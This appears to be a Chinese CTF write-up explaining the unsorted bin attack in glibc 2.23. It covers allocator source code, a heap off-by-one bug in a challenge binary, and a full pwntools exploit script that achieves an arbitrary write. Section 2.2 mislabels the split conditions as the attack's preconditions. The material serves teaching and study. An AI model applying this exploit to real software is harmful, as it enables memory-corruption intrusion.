unsortedbin attack在glibc 2.23中的利用与源码分析
字数 1707 2025-12-23 12:12:13

Unsorted Bin Attack 在 glibc 2.23 中的利用与源码分析

一、前置知识

1.1 Unsorted Bin 基本概念

Unsorted Bin 是 glibc 内存管理中的一个特殊双向链表,用于暂存刚被释放的 chunk。当程序申请内存时,分配器会优先在 Unsorted Bin 中查找合适的 chunk。

1.2 Unsorted Bin 遍历机制

glibc 在遍历 Unsorted Bin 时,会根据不同情况采取不同的处理策略:

情况一:单个 chunk 且满足分割条件

if (in_smallbin_range (nb) &&           // 请求大小在 small bin 范围内
    bck == unsorted_chunks (av) &&      // unsorted bin 中只有一个 chunk
    victim == av->last_remainder &&     // 当前 chunk 是 last remainder
    (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) // 大小足够分割
{
    /* split and reattach remainder */
    remainder_size = size - nb;          // 计算剩余部分大小
    remainder = chunk_at_offset (victim, nb); // 定位剩余块地址
    
    // 更新 unsorted bin 链表
    unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
    av->last_remainder = remainder;      // 更新 last remainder
    remainder->bk = remainder->fd = unsorted_chunks (av); // 设置剩余块指针
    
    // 设置 chunk 头部信息
    set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);
    set_foot (remainder, remainder_size); // 设置 footer(如果启用)
    
    void *p = chunk2mem (victim);       // 返回用户数据指针
    alloc_perturb (p, bytes);           // 初始化内存
    return p;
}

情况二:大小完全匹配

if (size == nb) {                       // 当前 chunk 大小完全匹配请求
    set_inuse_bit_at_offset (victim, size); // 设置下一个块的 PREV_INUSE
    if (av != &main_arena)
        set_non_main_arena (victim);    // 设置非主分配区标志
    
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
}

1.3 不合适 chunk 的处理

如果 Unsorted Bin 中的 chunk 不满足当前分配需求,会被转移到相应的 smallbin 或 largebin:

Small Bin 处理

if (__glibc_unlikely (in_smallbin_range (size))) {
    victim_index = smallbin_index (size); // 计算 bin 索引
    bck = bin_at (av, victim_index);     // 获取 bin 头指针
    fwd = bck->fd;                       // 获取 bin 第一个 chunk
}

Large Bin 处理

else {
    victim_index = largebin_index (size); // 计算 large bin 组索引
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
    
    if (fwd != bck) {                    // 如果 bin 非空
        size |= PREV_INUSE;              // 设置 PREV_INUSE 位加速比较
        
        // 按大小排序插入
        if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
            // 插入到最小位置
            fwd = bck;
            bck = bck->bk;
            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        } else {
            // 在链表中查找合适位置
            while ((unsigned long) size < chunksize_nomask (fwd)) {
                fwd = fwd->fd_nextsize;
            }
            // 插入操作...
        }
    }
}

二、Unsorted Bin Attack 原理

2.1 攻击核心机制

Unsorted Bin Attack 的核心在于利用 glibc 2.23 版本中安全检查的缺失。关键代码段:

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;         // bin 的 bk 指向 victim 的后一个块
bck->fd = unsorted_chunks (av);         // 后一个块的 fd 指向 bin

关键变量说明:

  • victim: 当前正在被 malloc 考虑的 chunk 指针
  • bck: victim->bk,即 victim 在 Unsorted Bin 链表中的前驱节点
  • av: arena 指针,表示当前线程使用的内存分配区
  • unsorted_chunks(av): 返回 unsorted bin 的头节点地址(&av->bins[0]

2.2 攻击条件

要成功利用 Unsorted Bin Attack,需要满足以下条件:

  1. 用户请求的是一个小块(≤512B)
  2. Unsorted Bin 中只有一个 chunk
  3. chunk 足够大,切掉所需部分后还能剩下至少 MINSIZE
  4. 该 chunk 正好是当前的 last_remainder

2.3 版本差异对比

glibc 2.23 版本的检查非常宽松:

  • 缺少双向链表的完整性检查
  • 只需要让 bk 指向一个合法的地址就能绕过检查
  • 高版本增加了大量安全检查,使得攻击难度增加

三、实际漏洞利用分析

3.1 目标程序分析

保护机制

[*] '/home/ziran/Desktop/isc/hachimi'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

关键函数分析

初始化函数:

for (n9 = 0; n9 <= 9; ++n9) {
    dword_202060[6 * n9 + 2] = 0;      // 清空标志位
    dword_202060[6 * n9 + 3] = 0;
}
mallopt(1, 0);                         // 禁用 fastbin

编辑函数中的漏洞:

read(0, *((void **)&heap.ptr + 3 * v1), *(&heap.size + 6 * v1));
*(_BYTE *)(*(&heap.size + 6 * v1) + *((_QWORD *)&heap.ptr + 3 * v1)) = 
    *(_BYTE *)(*((_QWORD *)&heap.ptr + 3 * v1) + *(&heap.size + 6 * v1)) & 0xFE;

该操作会清空 size 字段的最低比特位,可能修改 PREV_INUSE 标志。

3.2 利用思路

步骤一:信息泄露

  1. 通过菜单选项 5 泄露地址信息
  2. 计算 PIE 基址和目标地址

步骤二:堆布局

  1. 申请 5 个 0x78 大小的堆块:[0]、[1]、[2]、[3]、[4]
  2. 注意禁用 fastbin 后的释放策略

步骤三:构造漏洞

  1. 释放 chunk [0]
  2. 通过 edit 修改 [1] 覆写 [2] 的 presize 和标志位
  3. 清空 [2] 的 size 标志位
  4. 释放 [2],造成非预期合并(利用 glibc 2.23 检查宽松的特点)

步骤四:UAF 利用

  1. 利用合并后的堆块产生 UAF 漏洞
  2. 申请 0x78 大小切割堆块,使 fd 与可控指针重合

步骤五:Unsorted Bin Attack

  1. 修改 bk 指针指向目标地址
  2. 触发分配流程,实现任意地址写

3.3 利用代码示例

from pwn import *

context.log_level = 'debug'

io = process('./hachimi')

def cmd(choice):
    io.recvuntil("5.Mambo Out!")
    io.sendline(str(choice))

def add(size, content=b'aaaa'):
    cmd(1)
    io.recvuntil("Please Input Size:")
    io.sendline(str(size))
    io.recvuntil("Content of hachimi:")
    io.send(content)

def delete(index):
    cmd(2)
    io.recvuntil("Please Input index:")
    io.sendline(str(index))

def edit(index, content):
    cmd(3)
    io.recvuntil("Please Input index:")
    io.sendline(str(index))
    io.recvuntil("Change hachimi Content")
    io.send(content)

def show(index):
    cmd(4)
    io.recvuntil("Please Input index:")
    io.sendline(str(index))

# 泄露地址信息
cmd(5)
io.recvuntil("address:")
pie = int(io.recv(14), 16) - 0x202040

# 堆布局
add(0x78) #0
add(0x78) #1
add(0x78-0x20) #2
add(0x78) #3
add(0x78) #4

# 构造漏洞
delete(0)
payload = b'a'*0x70 + p64(0x100) # 修改 presize
edit(1, payload)
delete(2)

# 泄露 libc 地址
add(0x78) #0
add(0x78) #2
delete(2)
show(1)
io.recvuntil("content:\n")
libc = u64(io.recv(6).ljust(8, b'\x00'))

# Unsorted Bin Attack
payload = p64(libc) + p64(pie + 0x202048 - 0x10)
edit(1, payload)
add(0xe0-0x10) # 触发攻击

io.interactive()

四、关键要点总结

4.1 攻击成功的关键因素

  1. glibc 2.23 安全检查宽松:缺少完整的双向链表完整性验证
  2. 禁用 fastbin:迫使使用 unsorted bin 机制
  3. 精确的堆布局:控制 chunk 的合并和分割行为
  4. UAF 漏洞的巧妙利用:通过修改标志位制造非常规内存状态

4.2 防御措施

  1. 升级到更高版本的 glibc
  2. 增强堆内存管理的安全检查
  3. 使用现代的内存保护机制

4.3 学习价值

通过分析 glibc 2.23 中的 Unsorted Bin Attack,可以深入理解:

  • 内存分配器的内部工作机制
  • 不同版本 glibc 的安全特性演进
  • 堆漏洞利用的基本原理和技巧
  • 现代漏洞缓解技术的必要性

这种攻击方式虽然在现代系统中较难实现,但对于理解内存安全的基本原理具有重要价值。

Unsorted Bin Attack 在 glibc 2.23 中的利用与源码分析 一、前置知识 1.1 Unsorted Bin 基本概念 Unsorted Bin 是 glibc 内存管理中的一个特殊双向链表,用于暂存刚被释放的 chunk。当程序申请内存时,分配器会优先在 Unsorted Bin 中查找合适的 chunk。 1.2 Unsorted Bin 遍历机制 glibc 在遍历 Unsorted Bin 时,会根据不同情况采取不同的处理策略: 情况一:单个 chunk 且满足分割条件 情况二:大小完全匹配 1.3 不合适 chunk 的处理 如果 Unsorted Bin 中的 chunk 不满足当前分配需求,会被转移到相应的 smallbin 或 largebin: Small Bin 处理 Large Bin 处理 二、Unsorted Bin Attack 原理 2.1 攻击核心机制 Unsorted Bin Attack 的核心在于利用 glibc 2.23 版本中安全检查的缺失。关键代码段: 关键变量说明: victim : 当前正在被 malloc 考虑的 chunk 指针 bck : victim->bk ,即 victim 在 Unsorted Bin 链表中的前驱节点 av : arena 指针,表示当前线程使用的内存分配区 unsorted_chunks(av) : 返回 unsorted bin 的头节点地址( &av->bins[0] ) 2.2 攻击条件 要成功利用 Unsorted Bin Attack,需要满足以下条件: 用户请求的是一个小块(≤512B) Unsorted Bin 中只有一个 chunk chunk 足够大 ,切掉所需部分后还能剩下至少 MINSIZE 该 chunk 正好是当前的 last_ remainder 2.3 版本差异对比 glibc 2.23 版本的检查非常宽松: 缺少双向链表的完整性检查 只需要让 bk 指向一个合法的地址就能绕过检查 高版本增加了大量安全检查,使得攻击难度增加 三、实际漏洞利用分析 3.1 目标程序分析 保护机制 关键函数分析 初始化函数: 编辑函数中的漏洞: 该操作会清空 size 字段的最低比特位,可能修改 PREV_ INUSE 标志。 3.2 利用思路 步骤一:信息泄露 通过菜单选项 5 泄露地址信息 计算 PIE 基址和目标地址 步骤二:堆布局 申请 5 个 0x78 大小的堆块:[ 0]、[ 1]、[ 2]、[ 3]、[ 4 ] 注意禁用 fastbin 后的释放策略 步骤三:构造漏洞 释放 chunk [ 0 ] 通过 edit 修改 [ 1] 覆写 [ 2 ] 的 presize 和标志位 清空 [ 2 ] 的 size 标志位 释放 [ 2 ],造成非预期合并(利用 glibc 2.23 检查宽松的特点) 步骤四:UAF 利用 利用合并后的堆块产生 UAF 漏洞 申请 0x78 大小切割堆块,使 fd 与可控指针重合 步骤五:Unsorted Bin Attack 修改 bk 指针指向目标地址 触发分配流程,实现任意地址写 3.3 利用代码示例 四、关键要点总结 4.1 攻击成功的关键因素 glibc 2.23 安全检查宽松 :缺少完整的双向链表完整性验证 禁用 fastbin :迫使使用 unsorted bin 机制 精确的堆布局 :控制 chunk 的合并和分割行为 UAF 漏洞的巧妙利用 :通过修改标志位制造非常规内存状态 4.2 防御措施 升级到更高版本的 glibc 增强堆内存管理的安全检查 使用现代的内存保护机制 4.3 学习价值 通过分析 glibc 2.23 中的 Unsorted Bin Attack,可以深入理解: 内存分配器的内部工作机制 不同版本 glibc 的安全特性演进 堆漏洞利用的基本原理和技巧 现代漏洞缓解技术的必要性 这种攻击方式虽然在现代系统中较难实现,但对于理解内存安全的基本原理具有重要价值。